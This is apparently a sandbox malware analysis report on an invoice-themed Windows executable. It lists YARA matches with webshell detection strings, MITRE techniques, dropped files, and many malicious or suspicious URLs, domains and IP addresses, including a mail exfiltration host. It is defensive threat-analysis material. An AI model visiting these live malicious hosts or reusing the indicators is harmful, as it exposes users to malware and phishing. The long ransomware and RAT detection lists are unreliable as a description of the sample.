0x156d7:$s3: [ADA] Searching for accounts with userp
assword attribute
0x15714:$s4: [GPP] Searching for passwords now

00000023.00000003.6336769092.0000028BD7D
54000.00000004.00000001.sdmp

JoeSecurity_CosturaAsse
mblyLoader

Yara detected 
Costura Assembly 
Loader

Joe Security

00000023.00000003.6313733707.0000028BD72
80000.00000004.00000001.sdmp

webshell_php_by_string_o
bfuscation

PHP file 
containing 
obfuscation 
strings. Might be 
legitimate code 
obfuscated for 
whatever reasons, 
a webshell or can 
be used to insert 
malicious 
Javascript for 
credit card 
skimming

Arnim Rupp 0x4d2e:$opbs48: se'.(32*2)
0x576f:$php_short: <?
0x576f:$php_new2: <?php

Threatname: CryLock

Yara Overview

Memory Dumps
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Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Jbx Signature Overview

Click to jump to signature section

00000023.00000003.6313733707.0000028BD72
80000.00000004.00000001.sdmp

webshell_asp_obfuscated ASP webshell 
obfuscated

Arnim Rupp 0x4831:$asp_obf2: u"+"n"+"s
0x4b6a:$tagasp_short1: <%e
0x4b81:$tagasp_short2: %>
0x4b6a:$tagasp_long12: <%ex
0x4172:$tagasp_long20: <scriptlanguage="vb
0x580c:$asp_payload2: eval(
0x4254:$asp_payload8: execute(
0x429e:$asp_payload8: execute(
0x4b1f:$asp_payload8: execute(
0x58a7:$asp_multi_payload_one3: .run
0x6709:$asp_multi_payload_one3: .run
0x7aaa:$asp_multi_payload_one3: .run

00000023.00000003.6313733707.0000028BD72
80000.00000004.00000001.sdmp

webshell_asp_generic Generic ASP 
webshell which 
uses any 
eval/exec function 
indirectly on user 
input or writes a 
file

Arnim Rupp 0x6359:$asp_much_sus8: Webshell
0x7fbd:$asp_much_sus8: Webshell
0x4831:$asp_much_sus39: u"+"n"+"s
0x4b7b:$asp_gen_sus10: "cmd"
0x5730:$asp_gen_sus12: %comspec%
0x40f2:$asp_gen_obf1: "+"
0x458e:$asp_gen_obf1: "+"
0x45d9:$asp_gen_obf1: "+"
0x45e4:$asp_gen_obf1: "+"
0x45ef:$asp_gen_obf1: "+"
0x4624:$asp_gen_obf1: "+"
0x462f:$asp_gen_obf1: "+"
0x463a:$asp_gen_obf1: "+"
0x466f:$asp_gen_obf1: "+"
0x467a:$asp_gen_obf1: "+"
0x4685:$asp_gen_obf1: "+"
0x46ba:$asp_gen_obf1: "+"
0x46c5:$asp_gen_obf1: "+"
0x46d0:$asp_gen_obf1: "+"
0x4705:$asp_gen_obf1: "+"
0x4710:$asp_gen_obf1: "+"

Click to see the 579 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

35.3.MpSigStub.exe.28bd63a2bca.206.unpack Oilrig_IntelSecurityManage
r

Detects OilRig 
malware

Eyal Sela 0x9a1:$one3: srvCheckresponded

35.3.MpSigStub.exe.28bd75cd186.46.raw.unpack SUSP_XORed_URL_in_E
XE

Detects an XORed 
URL in an 
executable

Florian Roth 0x72db:$s1: http://
0x72f2:$s1: http://
0x730a:$s1: http://
0x787f:$s1: http://
0xae14:$s1: lppt>++
0xae08:$s2: lpptw>++
0x72db:$f1: http://
0x72f2:$f1: http://
0x730a:$f1: http://
0x787f:$f1: http://

35.3.MpSigStub.exe.28bd75cd186.46.raw.unpack IMPLANT_4_v5 BlackEnergy / 
Voodoo Bear 
Implant by APT28

US CERT 0xa7af:$GEN_HASH: 0F BE C9 C1 C0 07 33 C1

35.3.MpSigStub.exe.28bd75cd186.46.raw.unpack Derusbi_Kernel_Driver_WD
_UDFS

Detects Derusbi 
Kernel Driver

Florian Roth 0x74d2:$x3: \??\pipe\usbpcex%d
0x7520:$x4: \??\pipe\usbpcg%d

35.3.MpSigStub.exe.28bd75cd186.46.raw.unpack SUSP_XORed_Mozilla Detects suspicious 
XORed keyword - 
Mozilla/5.0

Florian Roth 0xae1f:$xo1: Ik~mhhe+1*4

Click to see the 423 entries

Unpacked PEs
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AV Detection:

Antivirus detection for URL or domain

Found malware configuration

Yara detected Predator

Yara detected RevengeRAT

Yara detected Pony

Multi AV Scanner detection for submitted file

Yara detected Njrat

Yara detected AveMaria stealer

Multi AV Scanner detection for domain / URL

Location Tracking:

Yara detected Hancitor

Exploits:

Yara detected UACMe UAC Bypass tool

Privilege Escalation:

Detected Hacktool Mimikatz

Bitcoin Miner:

Yara detected Xmrig cryptocurrency miner

Yara detected Coinhive miner

Yara detected BitCoin Miner

Found strings related to Crypto-Mining

Spreading:

Yara detected Neshta

Yara detected Autohotkey Downloader Generic

Networking:

Yara detected PasteDownloader

Yara detected Meterpreter

C2 URLs / IPs found in malware configuration

Found Tor onion address

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected LimeRAT

Yara detected LaZagne password dumper

Yara detected Linux EvilGnome RC5 key

Yara detected VBKeyloggerGeneric

E-Banking Fraud:

Yara detected Predator

Yara detected RevengeRAT
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Yara detected Pony

Yara detected Njrat

Yara detected AveMaria stealer

Spam, unwanted Advertisements and Ransom Demands:

Yara detected BlackMoon Ransomware

Yara detected Ragnarok ransomware

Yara detected Avaddon Ransomware

Yara detected BLACKMatter Ransomware

Yara detected Jigsaw

Yara detected GABUTS Ransomware

Yara detected AESCRYPT Ransomware

Yara detected RansomwareGeneric

Yara detected Ouroboros ransomware

Yara detected Chaos Ransomware

Yara detected Mock Ransomware

Yara detected Conti ransomware

Yara detected NoCry Ransomware

Yara detected ByteLocker Ransomware

Yara detected RegretLocker Ransomware

Yara detected Clop Ransomware

Yara detected LockBit ransomware

Yara detected LOCKFILE ransomware

Yara detected Cerber ransomware

Yara detected Rhino ransomware

Yara detected Buran Ransomware

Yara detected VHD ransomware

Yara detected Netwalker ransomware

Yara detected Jcrypt Ransomware

Yara detected Delta Ransomware

Yara detected LazParking Ransomware

Yara detected Zeppelin Ransomware

Yara detected Apis Ransomware

Yara detected Wannacry ransomware

Yara detected MegaCortex Ransomware

Yara detected Cobra Locker ransomware

Yara detected RekenSom ransomware

Yara detected Babuk Ransomware

Yara detected Nemty Ransomware

Yara detected Clay Ransomware

Yara detected Thanos ransomware

Yara detected CryLock ransomware

Yara detected Sapphire Ransomware

Yara detected OCT Ransomware

Yara detected Snatch Ransomware

Yara detected Silvertor Ransomware

Yara detected Annabelle Ransomware

Yara detected Gocoder ransomware

Yara detected WannaRen ransomware

Yara detected Ryuk ransomware

Yara detected Porn Ransomware

Yara detected DarkSide Ransomware

Yara detected HiddenTear ransomware
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Yara detected Mailto ransomware

Yara detected CoronaCrypt Ransomware

Yara detected Voidcrypt Ransomware

Yara detected GoGoogle ransomware

Yara detected Axiom Ransomware

Yara detected Artemon Ransomware

Yara detected Covid19 Ransomware

Yara detected LokiLocker Ransomware

Yara detected Cryptolocker ransomware

Yara detected Marvel Ransomware

Yara detected Cute Ransomware

Yara detected Xorist ransomware

Found potential ransomware demand text

Deletes shadow drive data (may be related to ransomware)

Found string related to ransomware

May drop file containing decryption instructions (likely related to ransomware)

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

Yara detected GuLoader

Yara detected MaliciousMacro

Yara detected Costura Assembly Loader

Yara detected AllatoriJARObfuscator

Yara detected MSILLoadEncryptedAssembly

Binary or sample is protected by dotNetProtector

Yara detected VB6 Downloader Generic

Yara detected BatToExe compiled binary

Persistence and Installation Behavior:

Yara detected Neshta

Boot Survival:

Yara detected LimeRAT

Yara detected Neshta

Hooking and other Techniques for Hiding and Protection:

May modify the system service descriptor table (often done to hook functions)

Contains functionality to hide user accounts

Malware Analysis System Evasion:

Yara detected LimeRAT

Yara detected generic Shellcode Injector

Yara detected AntiVM3

Yara detected Windows Security Disabler

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
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Tries to detect Any.run

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Lowering of HIPS / PFW / Operating System Security Settings:

Yara detected LimeRAT

May enable test signing (to load unsigned drivers)

Stealing of Sensitive Information:

Yara detected Snake Keylogger

Yara detected Evrial Stealer

Yara detected Mini RAT

Yara detected Koadic

Yara detected Generic Dropper

Yara detected Vidar stealer

Yara detected Predator

Yara detected Mimikatz

Yara detected RevengeRAT

Yara detected LaZagne password dumper

Yara detected Neshta

Yara detected Discord Token Stealer

Yara detected MailPassView

Yara detected Parallax RAT

Yara detected AgentTesla

Yara detected Valak

Yara detected Pony

Yara detected Telegram RAT

Yara detected Njrat

Yara detected Betabot

Yara detected AveMaria stealer

Yara detected Nukesped

Yara detected Codoso Ghost

Yara detected Growtopia

Yara detected Dorkbot

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Remote Access Functionality:

Yara detected Snake Keylogger

Yara detected Evrial Stealer

Yara detected Mini RAT
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Yara detected Koadic

Yara detected Hancitor

Yara detected Meterpreter

Yara detected Vidar stealer

Yara detected Predator

Detected HawkEye Rat

Detected Remcos RAT

Yara detected RevengeRAT

Yara detected Metasploit Payload

Yara detected Discord Token Stealer

Yara detected Parallax RAT

Yara detected AgentTesla

Yara detected Valak

Detected Nanocore Rat

Yara detected NetWire RAT

Yara detected Linux EvilGnome RC5 key

Yara detected Pony

Detected Imminent RAT

Yara detected Telegram RAT

Yara detected Njrat

Yara detected Betabot

Yara detected AveMaria stealer

Yara detected Nukesped

Yara detected Codoso Ghost

Yara detected Growtopia

Yara detected Dorkbot

Contains VNC / remote desktop functionality (version string found)

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Replication
Through
Removable
Media 1

Windows Management
Instrumentation 2 1 1

DLL Side-
Loading 1

DLL Side-
Loading 1

Disable or Modify
Tools 1 1

OS Credential
Dumping 3

System Time
Discovery 1

Remote
Desktop
Protocol 1

Archive
Collected
Data 1 1

Exfiltration
Over Other
Network
Medium

Ingress Tool
Transfer 1

Default
Accounts

Command and Scripting
Interpreter 1

Boot or
Logon
Initialization
Scripts

Process
Injection 1 1 2

Obfuscated Files or
Information 1

Credential
API
Hooking 1

Peripheral Device
Discovery 1

Replication
Through
Removable
Media 1

Data from
Local
System 3

Exfiltration
Over
Bluetooth

Encrypted
Channel 2

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Software Packing 2 Input
Capture 2 1

File and Directory
Discovery 2

SMB/Windows
Admin Shares

Email
Collection 1

Automated
Exfiltration

Non-Standard
Port 1

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

DLL Side-Loading 1 Credentials in
Registry 1

System Information
Discovery 1 1 6

Distributed
Component
Object Model

Credential
API
Hooking 1

Scheduled
Transfer

Remote Access
Software 6

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

File Deletion 1 1 LSA Secrets Query Registry 1 SSH Input
Capture 2 1

Data
Transfer
Size Limits

Non-Application
Layer Protocol

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Masquerading 3 1 Cached
Domain
Credentials

Security Software
Discovery 4 4 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Application Layer
Protocol 1

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Virtualization/Sandbox
Evasion 3 5 1

DCSync Process Discovery 2 Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Proxy 1
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Drive-by
Compromise

Command and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Process
Injection 1 1 2

Proc
Filesystem

Virtualization/Sandbox
Evasion 3 5 1

Shared
Webroot

Credential
API Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application Layer
Protocol

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Hidden Users 1 /etc/passwd
and
/etc/shadow

Application Window
Discovery 1

Software
Deployment
Tools

Data Staged Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Behavior Graph

ID: 1622

Sample: FAKTURA I PARAGONY.exe

Startdate: 12/10/2021

Architecture: WINDOWS

Score: 100

x1.i.lencr.org tccinfaes.com 4 other IPs or domains

Multi AV Scanner detection
for domain / URL Found malware configuration

Malicious sample detected
(through community Yara

rule)
130 other signatures

FAKTURA I PARAGONY.exe

1

        started       

mpam-51041e98.exe

7

        started       

wevtutil.exe

8 1

        started       

2 other processes

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

RegAsm.exe

11

        started       

C:\Windows\ServiceProfiles\...\mpavdlta.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\mpasdlta.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\MpSigStub.exe, PE32+

dropped

MpSigStub.exe

4

        started       

conhost.exe

        started       

conhost.exe

        started       

tccinfaes.com

188.93.227.195, 49795, 587

CLARANET-ASClaraNETLTDGB

Portugal

googlehosted.l.googleusercontent.com

142.250.185.161, 443, 49786

GOOGLEUS

United States

drive.google.com

172.217.168.46, 443, 49785

GOOGLEUS

United States

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

access)
5 other signatures

conhost.exe

        started       C:\Windows\ServiceProfiles\...\mpavbase.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\mpasbase.vdm, PE32+

dropped

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

FAKTURA I PARAGONY.exe 45% Virustotal Browse

FAKTURA I PARAGONY.exe 27% ReversingLabs Win32.Trojan.AgentTesla

Source Detection Scanner Label Link

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\MpSigStub.exe

0% Metadefender Browse

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\MpSigStub.exe

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\mpasbase.vdm

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\mpasdlta.vdm

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\mpavbase.vdm

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5
E2340F4\mpavdlta.vdm

0% ReversingLabs

Source Detection Scanner Label Link Download

35.3.MpSigStub.exe.28bd68763ba.143.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd62ff37e.139.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd62c32d4.74.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd7aaa38f.136.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd778bb0d.13.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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https://www.virustotal.com/gui/file/1113efa42a416df493d712368060e751482e644c13f6c115a507ff001a322724/detection/f-1113efa42a416df493d712368060e751482e644c13f6c115a507ff001a322724-1634049471
https://www.metadefender.com/#!/results/file/bzIxMTAwOHVJb1hGeDAyYk5BaUU3U0ZMNFE/regular/analysis


35.3.MpSigStub.exe.28bd62c32d4.170.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd76c8116.47.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd62c283a.76.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd7098dc6.214.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd7098dc6.98.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd6697177.158.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd76c8116.30.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd7098dc6.64.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd62c283a.171.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd7850ae6.50.unpack 100% Avira TR/Patched.Ren.Gen Download File

35.3.MpSigStub.exe.28bd780418a.59.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd62c2d87.75.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd780418a.26.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd6694af5.157.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd62c2d87.172.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd77beebe.15.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.28bd76c8116.178.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.28bd77beebe.25.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

tccinfaes.com 3% Virustotal Browse

mail.tccinfaes.com 11% Virustotal Browse

x1.i.lencr.org 0% Virustotal Browse

Source Detection Scanner Label Link

kiranacorp.com/oja 1% Virustotal Browse

kiranacorp.com/oja 0% Avira URL Cloud safe

www.bonusesfound.ml/update/index.php 0% Avira URL Cloud safe

www.cooctdlfast.com/download.php? 0% Avira URL Cloud safe

110.42.4.180: 0% Avira URL Cloud safe

stmichaelolivewood.com/templates/landofchrist/css/msg.jpg 0% Avira URL Cloud safe

minetopsforums.ru/new_link3.php?site= 0% Avira URL Cloud safe

today-friday.cn/maran/sejvan/get.php 0% Avira URL Cloud safe

Yyl.mofish.cn/interface/SeedInstall.aspx 0% Avira URL Cloud safe

ati.vn 0% Avira URL Cloud safe

errors.statsmyapp.comxa 0% Avira URL Cloud safe

www.chambersign.org1 0% Avira URL Cloud safe

tempuri.org/ 0% Avira URL Cloud safe

185.172.110.217/robx/remit.jpg 0% Avira URL Cloud safe

https://anonfiles.com/ 0% Avira URL Cloud safe

www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/ 0% Avira URL Cloud safe

https://sumnermail.org/sumnerscools/school.php 0% Avira URL Cloud safe

139.162. 0% Avira URL Cloud safe

rghost.net/download/ 0% Avira URL Cloud safe

127.0.0.1:8000/web.html?url=yac.mx&rate=501&id=%s&key=%s&pm=1x 0% Avira URL Cloud safe

install.outbrowse.com/logTrack.php?x 0% Avira URL Cloud safe

usa-national.info/gpu/band/grumble.dot 0% Avira URL Cloud safe

w.robints.us/cnzz.htmlwidth=0height=0 0% Avira URL Cloud safe

https://jovial-pasteur.159-89-118-202.plesk.page/wp-content/uploads/index.php 0% Avira URL Cloud safe

canonicalizer.ucsuri.tcs/3 0% Avira URL Cloud safe

sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid= 0% Avira URL Cloud safe

mexicorxonline.com/glad/imagenes.html?disc=abuse&code=7867213 0% Avira URL Cloud safe

spywaresoftstop.com/load.php?adv=141 0% Avira URL Cloud safe

https://sotheraho.com/wp-content/fonts/reportexcelnew.php 0% Avira URL Cloud safe

walden.co.jp/wp/divorce/divorce.php?id=zxjpyy5tb3jyaxnvb 0% Avira URL Cloud safe

eduardovolpi.com.br/flipbook/postal/services/parcel) 0% Avira URL Cloud safe

https://sweetsizing.com/vip/ 0% Avira URL Cloud safe

security-updater.com/binaries/ 0% Avira URL Cloud safe

www.fbcom.review/d/9.doc 0% Avira URL Cloud safe

5starvideos.com/main/K5 0% Avira URL Cloud safe

Domains

URLs
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https://www.virustotal.com/gui/url/e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf/detection/u-e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf-1629495532
https://www.virustotal.com/gui/url/d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422/detection/u-d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422-1634011386
https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1633995692
https://www.virustotal.com/gui/url/f3ccf201e3ba7f8cc985f266f260fe8cba77c993d62aff6f02ebf6454af5a772/detection/u-f3ccf201e3ba7f8cc985f266f260fe8cba77c993d62aff6f02ebf6454af5a772-1632710650


aklick.info/d.php?date= 0% Avira URL Cloud safe

77.81.225.138/carnaval2017.zip 0% Avira URL Cloud safe

www.slotch.com/ist/softwares/v4.0/istdownload.exe 0% Avira URL Cloud safe

https://go.wikitextbooks.info 0% Avira URL Cloud safe

https://bemojo.com/ds/161120.gif 0% Avira URL Cloud safe

avnpage.info/final3.php 0% Avira URL Cloud safe

esiglass.it/glassclass/glass.php 0% Avira URL Cloud safe

https://xmrig.com/wizard 0% Avira URL Cloud safe

https://rotf.lol/3u6d9443 0% Avira URL Cloud safe

https://kiwisanagustin.com/wp-
admin/includes/opo.php%22%20method%3d%22post%22%20style%3d%22box-sizin

0% Avira URL Cloud safe

https://raw.githubusercontent.com/ 0% Avira URL Cloud safe

m.mworld.vn/MWorld30/data20.xm?a=getip&g=3&sex=Android 0% Avira URL Cloud safe

www.niepicowane.pl/ 0% Avira URL Cloud safe

office-service-secs.com/blm.task 0% Avira URL Cloud safe

www.51jetso.com/ 0% Avira URL Cloud safe

https://irecruiter.immentia.com/storage/framework/cache/data/0e/nC7vWe43YwJjj.php 0% Avira URL Cloud safe

js.f4321y.com/ 0% Avira URL Cloud safe

www.searchmaid.com/ 0% Avira URL Cloud safe

tbapi.search.ask.comxb 0% Avira URL Cloud safe

www.mva.by/tags/ariscanin1.e 0% Avira URL Cloud safe

javafx.com 0% Avira URL Cloud safe

masgiO.info/cd/cd.php?id=%s&ver=g 0% Avira URL Cloud safe

sds.clrsch.com/x 0% Avira URL Cloud safe

https://blackstonesbarandgrill.net/wp-includes/js/service/jp/login.php 100% Avira URL Cloud phishing

boscumix.com/optima/index.php 0% Avira URL Cloud safe

playsong.mediasongplayer.com/ 0% Avira URL Cloud safe

207.154.225.82/report.json?type=mail&u=$muser&c= 0% Avira URL Cloud safe

app.whenu.com/Offers 0% Avira URL Cloud safe

www.xiuzhe.com/ddvan.exe 0% Avira URL Cloud safe

66.148.74.7/zu2/zc.php 0% Avira URL Cloud safe

t.zer9g.com/ 0% Avira URL Cloud safe

149.3.170.235/qw-fad/ 0% Avira URL Cloud safe

maringareservas.com.br/queda/index.php 0% Avira URL Cloud safe

shdjhgftyhgjklolkjio.dns.navy/bcz/document.doc 100% Avira URL Cloud malware

seunelson.com.br/js/content.xml 0% Avira URL Cloud safe

costacars.es/ico/ortodox.php 100% Avira URL Cloud malware

82.98.235. 0% Avira URL Cloud safe

verred.net/?1309921 0% Avira URL Cloud safe

https://pigeonious.com/img/ 0% Avira URL Cloud safe

team.afcorp.afg/chr/crt-ho_30/newjflibrary 0% Avira URL Cloud safe

data1.yoou8.com/ 0% Avira URL Cloud safe

https://jabaltoor.com/copy/img/blog/cat-post/r7gnor1h0.php 0% Avira URL Cloud safe

handjobheats.com/xgi-bin/q.php 0% Avira URL Cloud safe

www.pcpurifier.com/buynow/? 0% Avira URL Cloud safe

www.chatzum.com/statistics/?
affid=$RPT_AFFID&cztbid=$RPT_UID&inst=$RTP_SETINST&sethp=$RTP_SET

0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

tccinfaes.com 188.93.227.195 true true 3%, Virustotal, Browse unknown

drive.google.com 172.217.168.46 true false high

googlehosted.l.googleusercontent.com 142.250.185.161 true false high

mail.tccinfaes.com unknown unknown true 11%, Virustotal, Browse unknown

x1.i.lencr.org unknown unknown true 0%, Virustotal, Browse unknown

doc-00-88-docs.googleusercontent.com unknown unknown false high

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf/detection/u-e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf-1629495532
https://www.virustotal.com/gui/url/d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422/detection/u-d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422-1634011386
https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1633995692


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 1622

Start date: 12.10.2021

Start time: 16:33:17

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 19m 39s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: FAKTURA I PARAGONY.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

48

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.rans.spre.troj.spyw.expl.evad.mine.winEXE@12/14@4/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Failed

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Name Malicious Antivirus Detection Reputation

110.42.4.180: true Avira URL Cloud: safe unknown

stmichaelolivewood.com/templates/landofchrist/css/msg.jpg true Avira URL Cloud: safe unknown

tempuri.org/ true Avira URL Cloud: safe unknown

www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/ true Avira URL Cloud: safe unknown

spywaresoftstop.com/load.php?adv=141 true Avira URL Cloud: safe unknown

masgiO.info/cd/cd.php?id=%s&ver=g true Avira URL Cloud: safe unknown

www.trotux.com/?z= false high

avnisevinc.blogspot.com/ false high

IP Domain Country Flag ASN ASN Name Malicious

172.217.168.46 drive.google.com United States 15169 GOOGLEUS false

188.93.227.195 tccinfaes.com Portugal 8426 CLARANET-
ASClaraNETLTDGB

true

142.250.185.161 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

URLs from Memory and Binaries

Contacted IPs

Public

Show All
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Time Type Description

16:36:01 API Interceptor 2658x Sleep call for process: RegAsm.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

188.93.227.195 COPIA DE PAGO.exe Get hash malicious Browse

orientite.exe Get hash malicious Browse

PO.exe Get hash malicious Browse

DDC50015.exe Get hash malicious Browse

Facturas Pagadas al Vencimiento.exe Get hash malicious Browse

DHL00051021_PDF.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

seeds.exe Get hash malicious Browse

Product LIsts.exe Get hash malicious Browse

FACTURA Y ALBARANES_pdf.exe Get hash malicious Browse

Scan.exe Get hash malicious Browse

Ticari Hesap #U00d6zetiniz.exe Get hash malicious Browse

Struggleres5.exe Get hash malicious Browse

BBVA-Confirming Remesas Aceptadas.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

Payment_Advice.exe Get hash malicious Browse

SHUNYUE 19-EPDA PARTICULAR.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLARANET-ASClaraNETLTDGB COPIA DE PAGO.exe Get hash malicious Browse 188.93.227.195

sora.arm Get hash malicious Browse 195.102.64.245

LSCtJ6YbhB Get hash malicious Browse 195.102.64.215

orientite.exe Get hash malicious Browse 188.93.227.195

PO.exe Get hash malicious Browse 188.93.227.195

DDC50015.exe Get hash malicious Browse 188.93.227.195

UnHAnaAW.x86 Get hash malicious Browse 212.49.223.21

yR25n6pfMS Get hash malicious Browse 195.157.0.198

Facturas Pagadas al Vencimiento.exe Get hash malicious Browse 188.93.227.195

DHL00051021_PDF.exe Get hash malicious Browse 188.93.227.195

FACTURA.exe Get hash malicious Browse 188.93.227.195

FACTURA.exe Get hash malicious Browse 188.93.227.195

JE91d4cv34 Get hash malicious Browse 81.171.235.227

